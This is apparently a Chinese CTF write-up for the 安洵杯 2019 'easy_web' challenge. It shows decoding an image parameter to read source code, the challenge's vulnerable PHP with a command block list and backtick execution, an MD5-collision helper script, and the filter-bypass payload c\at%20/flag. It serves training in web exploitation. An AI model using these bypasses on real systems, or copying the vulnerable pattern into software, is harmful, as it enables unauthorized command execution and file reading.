[安洵杯 2019]easy_web

[安洵杯 2019]easy_web

web第43题
[安洵杯 2019]easy_web
打开靶场

在这里插入图片描述

发现有命令执行的可能
在cmd参数中做尝试:
在这里插入图片描述

尝试了很多命令,发现基本都被过滤了
转换思路:

img参数可以根据值进行读取,那么cmd参数可能同样可行,尝试对img参数的值base64解密

在这里插入图片描述
在这里插入图片描述

解密两次后发现一串字符
经过观察应该是16进制,转字符得到555.png:
在这里插入图片描述

按照此规则构造index.php的加密,然后作为img参数的值,那么理论上可以引入index.php文件
在这里插入图片描述

将TmprMlpUWTBOalUzT0RKbE56QTJPRGN3传入img
得到一串base64加密后的字符
在这里插入图片描述

解密一下得到源码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
?>

在这里插入图片描述

这里也证实了加密方式
核心代码:

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

首先对cmd参数的值进行正则匹配,然后判断post型参数a和b的转化为字符串值不同但是md5后值需要相同,并且是强类型
参考如何用不同的数值构建一样的MD5 – 第二届强网杯 MD5碰撞 writeup
使用fastcoll生成字符串MD5碰撞

这就要求我们找到这样的两个字符串a和b,内容不同,但md5值相同。这就涉及到md5的碰撞,这里使用fastcoll来快速生成这种碰撞
1.新建一个文本文档

在这里插入图片描述

2.将这个文档拖入fastcoll_v1.0.0.5.exe程序中,会自动生成两个文件内容不同,但md5值相同的文件
在这里插入图片描述

3.然后利用php脚本根据这两个生成的文件生成url编码后碰撞的字符串:

<?php
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
$a = urlencode(readmyfile("1_msg1.txt"));
$b = urlencode(readmyfile("1_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
echo "\n";
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}

在这里插入图片描述

将这两个值作为post的参数才能执行到反引号包裹的cmd命令
想查看flag是否在根目录下,但是cat被过滤了,可以使用dir,空格也被过滤了,可以使用%20,/没被过滤(原因:这里\没有被过滤的原因可能是正则匹配中|\|\\|先被php解释器(第一次)解释成||\|,然后正则(第二次)就变成了过滤|\)

解法:使用burp先把get包转换为post包,然后为了不出现一大串base64加密的字符,将img参数去掉。然后传入上面已经构造好的a和b参数

在这里插入图片描述

可以看到根目录下有flag文件。
需要查看flag文件就需要绕过cat的过滤,使用以下方法:
1.使用tac反向输出命令,此处也被禁用了
2.linux命令中可以加\,所以甚至可以ca\t /fl\ag

最终使用c\at%20/flag即可:

在这里插入图片描述

                       

点击阅读全文

上一篇 2023年 6月 11日 am10:43
下一篇 2023年 6月 11日 am10:44